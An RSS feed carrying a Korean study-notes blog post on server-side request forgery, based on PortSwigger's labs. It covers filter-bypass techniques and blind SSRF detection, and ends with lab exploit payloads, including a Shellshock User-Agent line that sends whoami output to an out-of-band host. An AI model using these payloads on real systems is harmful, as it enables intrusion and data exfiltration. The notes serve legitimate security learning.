<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Yeono DevLog]]></title><description><![CDATA[웹 보안과 AppSec을 공부하며 배운 내용을 기록하는 개발 블로그입니다. PortSwigger 학습 노트, CTF 풀이 회고, 백엔드 보안, 취약점 분석을 다룹니다.]]></description><link>https://yeono.hashnode.dev</link><image><url>https://cdn.hashnode.com/uploads/logos/6a3df9f2e363a20e21e9236a/9ed38d18-f76f-4eb0-8d1c-e9ddb509b362.jpg</url><title>Yeono DevLog</title><link>https://yeono.hashnode.dev</link></image><generator>RSS for Node</generator><lastBuildDate>Tue, 01 Sep 2026 08:31:04 GMT</lastBuildDate><atom:link href="https://yeono.hashnode.dev/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[SSRF (Server-Side Request Forgery) - PortSwigger 정리글]]></title><description><![CDATA[0. 들어가며
이 글은 PortSwigger Web Security Academy의 SSRF 자료를 공부하며 정리한 학습 노트다. 상세 lab write-up이라기보다는 SSRF의 주요 개념, 공격 패턴, 우회 방식, 방어 관점 등을 빠르게 복습하기 위한 목적으로 작성했다.

1. SSRF(서버 측 요청 위조)란?
SSRF는 공격자가 서버 측 애플리케이션을]]></description><link>https://yeono.hashnode.dev/ssrf-server-side-request-forgery-portswigger</link><guid isPermaLink="true">https://yeono.hashnode.dev/ssrf-server-side-request-forgery-portswigger</guid><category><![CDATA[ssrf ]]></category><category><![CDATA[websecurity]]></category><category><![CDATA[appsec]]></category><category><![CDATA[portswigger]]></category><category><![CDATA[webhacking]]></category><dc:creator><![CDATA[Yeono]]></dc:creator><pubDate>Thu, 19 Mar 2026 01:30:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/6a3df9f2e363a20e21e9236a/8565294e-dcc4-4961-9e7e-c705c1dbfcc1.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<hr />
<h2>0. 들어가며</h2>
<p>이 글은 PortSwigger Web Security Academy의 SSRF 자료를 공부하며 정리한 학습 노트다. 상세 lab write-up이라기보다는 SSRF의 주요 개념, 공격 패턴, 우회 방식, 방어 관점 등을 빠르게 복습하기 위한 목적으로 작성했다.</p>
<hr />
<h2>1. SSRF(서버 측 요청 위조)란?</h2>
<p><strong>SSRF</strong>는 공격자가 서버 측 애플리케이션을 조작하여, 서버가 의도하지 않은 위치(내부/외부 시스템)로 HTTP 요청을 보내게 만드는 취약점</p>
<h3>1.1 주요 영향</h3>
<ul>
<li><p><strong>내부 데이터 유출:</strong> 외부에서 접근 불가능한 내부 시스템(DB, 관리자 페이지 등)의 데이터에 접근</p>
</li>
<li><p><strong>권한 상승:</strong> 서버 자체나 신뢰 관계가 구축된 다른 백엔드 시스템의 인증을 우회</p>
</li>
<li><p><strong>2차 공격 도구:</strong> 해당 서버를 이용해 제3의 시스템을 공격하여 공격 위치를 위장</p>
</li>
</ul>
<hr />
<h2>2. 주요 공격 유형</h2>
<h3>2.1. 서버 자신을 향한 공격 (Against the local server)</h3>
<p>서버가 자기 자신(<code>127.0.0.1</code> 또는 <code>localhost</code>)에게 요청을 보내게 함.</p>
<ul>
<li><p><strong>원리:</strong> 외부에서는 차단된 <code>/admin</code> 같은 경로도, 서버 내부 루프백 인터페이스를 통한 요청은 '신뢰'하여 접근을 허용하는 점을 악용</p>
</li>
<li><p><strong>예시:</strong> <code>stockApi=http://localhost/admin</code></p>
</li>
</ul>
<h3>2.2. 다른 백엔드 시스템 공격</h3>
<p>서버와 연결된 내부 네트워크의 다른 서버(사설 IP)를 타겟팅</p>
<ul>
<li><p><strong>원리:</strong> 네트워크 방화벽 뒤에 숨어 있는 인증 없는 내부 API나 관리 인터페이스를 공격</p>
</li>
<li><p><strong>예시:</strong> <code>stockApi=http://192.168.0.68/admin</code></p>
</li>
</ul>
<hr />
<h2>3. 방어 기법 및 우회 방법</h2>
<p>보통 서버는 <strong>블랙리스트</strong>나 <strong>화이트리스트</strong>로 이를 막으려 하지만, 어림도 없지.</p>
<h3>3.1. 블랙리스트 기반 필터 우회</h3>
<ul>
<li><p><strong>IP 변형:</strong> <code>127.0.0.1</code> 대신 <code>2130706433</code>(10진수), <code>017700000001</code>(8진수), <code>127.1</code> 사용.</p>
</li>
<li><p><strong>도메인 활용:</strong> <code>127.0.0.1</code>로 리졸빙되는 별도의 도메인 사용.</p>
</li>
<li><p><strong>인코딩:</strong> URL 인코딩이나 대소문자 변환으로 문자열 필터링 회피.</p>
</li>
</ul>
<h3>3.2. 화이트리스트 기반 필터 우회</h3>
<ul>
<li><p><strong>URL 구조 악용:</strong> <code>@</code> 문자를 사용하여 자격 증명으로 위장 (<code>https://expected-host@evil-host</code>).</p>
</li>
<li><p><strong>URL 파싱 오류:</strong> <code>#</code> (fragment)나 DNS 계층 구조를 이용해 허용된 도메인처럼 보이게 함</p>
</li>
<li><p><strong>DNS 계층 구조 활용 (Subdomain 조작):</strong> URL Parser는 가장 오른쪽의 TLD(Top-Level Domain)부터 해석하지만, 단순한 필터는 문자열 내에 <code>expected-host</code>가 있는지만 확인하곤 함 (<code>https://expected-host.evil-host.com</code>)</p>
</li>
<li><p><strong>URL 인코딩을 이용한 파서 혼동 (Encoding Confusion):</strong> 단일/이중 인코딩으로 <code>@</code> <code>#</code> 등의 제한 뚫기 (<a href="https://www.w3schools.com/tags/ref%5C_urlencode.ASP">https://www.w3schools.com/tags/ref\_urlencode.ASP</a> ← 요기 표 조음)</p>
</li>
</ul>
<h3>3.3 오픈 리다이렉트(Open Redirection) 활용</h3>
<p>서버가 허용된 도메인으로의 요청만 허용할 경우, 그 도메인 내에 있는 '리다이렉트 취약점'을 이용해 최종적으로 내부 IP로 연결되게 만들기</p>
<hr />
<h2>4. Blind SSRF (응답이 보이지 않는 SSRF)</h2>
<p>일반적인 SSRF는 서버가 가져온 데이터를 나에게 보여주지만, <strong>Blind SSRF</strong>는 서버가 요청은 보내는데 그 결과(Response body)를 나에게 알려주지 않음</p>
<h3>4.1. Blind SSRF 탐지: OAST 기법</h3>
<p><strong>Blind SSRF</strong>는 서버의 응답(Response)을 직접 볼 수 없기 때문에, <strong>OAST(Out-of-band)</strong> 기술을 사용하는 것이 가장 확실</p>
<ul>
<li><p><strong>핵심 원리</strong>: 서버가 나에게 답을 주지 않는다면, 서버가 <strong>내가 관리하는 외부 서버</strong>에 말을 걸게 만드는 것</p>
</li>
<li><p><strong>도구 (예: Burp Collaborator)</strong>: 유니크한 도메인(예: <code>xyz.burpcollaborator.net</code>)을 생성해 페이로드에 심어 보냄. <strong>내 외부 서버 로그에 해당 도메인으로의 접근 기록이 남는다면 취약점 확정</strong></p>
</li>
</ul>
<blockquote>
<p><strong>주의점 (DNS vs HTTP)</strong>: 가끔 DNS 쿼리 기록은 남는데 HTTP 요청은 안 오는 경우가 있습니다. 이는 서버가 도메인 주소를 찾는 데는 성공했지만, 네트워크 방화벽이 외부로 나가는 HTTP 연결을 막아버렸기 때문임. 이 경우에도 취약점은 존재한다고 봄.</p>
</blockquote>
<h3>4.2. Blind SSRF를 어떻게 공격에 쓸까?</h3>
<h4>4.2.1 내부망 취약점 스캔 (Blind Sweep)</h4>
<p>서버가 내부망(<code>192.168.0.x</code>)의 다른 서버들에 요청을 보내게 만들기</p>
<ul>
<li>응답은 못 보지만, 만약 내부망의 다른 서버가 취약(예: 패치 안 된 구버전 서비스)하다면, 그 서버가 다시 나의 외부 서버로 응답을 보내게끔(OAST 방식의 페이로드) 유도하여 <strong>내부망을 장악</strong>할 수 있음</li>
</ul>
<h4>4.2.2. Shellshock 등 취약점 연계 (RCE)</h4>
<p>서버가 요청을 보낼 때 사용하는 <strong>HTTP 클라이언트(라이브러리)</strong> 자체의 취약점을 노리는 방식</p>
<ul>
<li><strong>Shellshock 예시</strong>: 서버가 외부 요청을 보낼 때 헤더(User-Agent 등)에 공격 코드를 담아 보내게 유도하여, 그 요청을 받는 내부 서버나 해당 서버 자체에서 원격 코드 실행(RCE)을 일으킴</li>
</ul>
<h4>4.2.3. 악성 응답 반환 (Malicious Response)</h4>
<p>서버가 공격자의 서버에 접속하게 만든 뒤, 공격자 서버가 <strong>매우 특이하거나 악의적인 HTTP 응답</strong>을 돌려주는 방식. 서버의 HTTP 라이브러리가 이 응답을 처리하다가 버그를 일으키면 시스템 권한을 탈취할 수도 있음.</p>
<hr />
<h2>5. 숨겨진 공격 지점 찾기</h2>
<p>공격 표면이 항상 URL 파라미터 형태로 대놓고 드러나지는 않음</p>
<h3>5.1. 요청 내의 부분 URL (Partial URLs)</h3>
<p>전체 URL이 아니라 <code>hostname</code>이나 <code>path</code> 일부만 입력 받는 경우</p>
<ul>
<li><p><strong>예시</strong>: <code>api_host=internal-db</code>라고 보내면 서버 내부에서 <code>https://internal-db.company.com/v1/query</code> 같은 식으로 조합할 때.</p>
</li>
<li><p><strong>공격</strong>: 이 <code>api_host</code> 자리에 다른 내부 주소를 넣어보며 반응을 살핍니다. 제어권이 제한적이라 완전한 SSRF보다는 파급력이 낮을 수 있지만 여전히 위험함.</p>
</li>
</ul>
<h3>5.2. 데이터 포맷 내부의 URL (예: XML/XXE)</h3>
<p>데이터를 주고받을 때 사용하는 포맷 자체가 URL 참조 기능을 가진 경우</p>
<ul>
<li><strong>XML과 XXE</strong>: XML 데이터 파서가 외부 엔티티(External Entity)를 해석하도록 설정되어 있다면, XML 파일 안에 URL을 심어 서버가 요청을 보내게 할 수 있고, 이를 통해 SSRF를 유도함.</li>
</ul>
<h3>5.3. Referer 헤더 활용</h3>
<p>가장 놓치기 쉬운 부분</p>
<ul>
<li><p><strong>원리</strong>: 많은 웹사이트가 통계/분석을 위해 <code>Referer</code> 헤더(이전 페이지 주소)를 기록합니다. 일부 분석 툴은 이 헤더에 찍힌 URL이 진짜 존재하는지, 어떤 내용인지 확인하려고 <strong>자동으로 해당 URL에 접속.</strong></p>
</li>
<li><p><strong>공격</strong>: <code>Referer: http://192.168.0.1/admin</code> 처럼 헤더를 조작해 보내면, 서버 측 분석 라이브러리가 대신 내부 관리자 페이지에 접속.</p>
</li>
</ul>
<h2>Exploit memo</h2>
<h3>🧪 <strong>Lab: SSRF with whitelist-based input filter</strong></h3>
<p>host 제한 문제 (<code>stock.weliketoshop.net</code> )</p>
<ul>
<li><strong>Exploit:</strong> <code>http://localhost:80%2523@stock.weliketoshop.net/admin/delete?username=carlos</code></li>
</ul>
<p> </p>
<h3>🧪 <strong>Lab: Blind SSRF with Shellshock exploitation</strong></h3>
<p>Referer Header SSRF + User-Agent Shellshock</p>
<ul>
<li><p><strong>Exploit:</strong></p>
<ul>
<li><p><strong>User-Agent</strong>: <code>() { :; }; /usr/bin/nslookup $(whoami).wvv57u0inwuwqjrsc1mp65ogh7nybrzg.oastify.com</code></p>
</li>
<li><p><strong>Referer:</strong> <code>http://192.168.0.1:8080 ~ http://192.168.0.255:8080</code></p>
</li>
</ul>
</li>
</ul>
]]></content:encoded></item></channel></rss>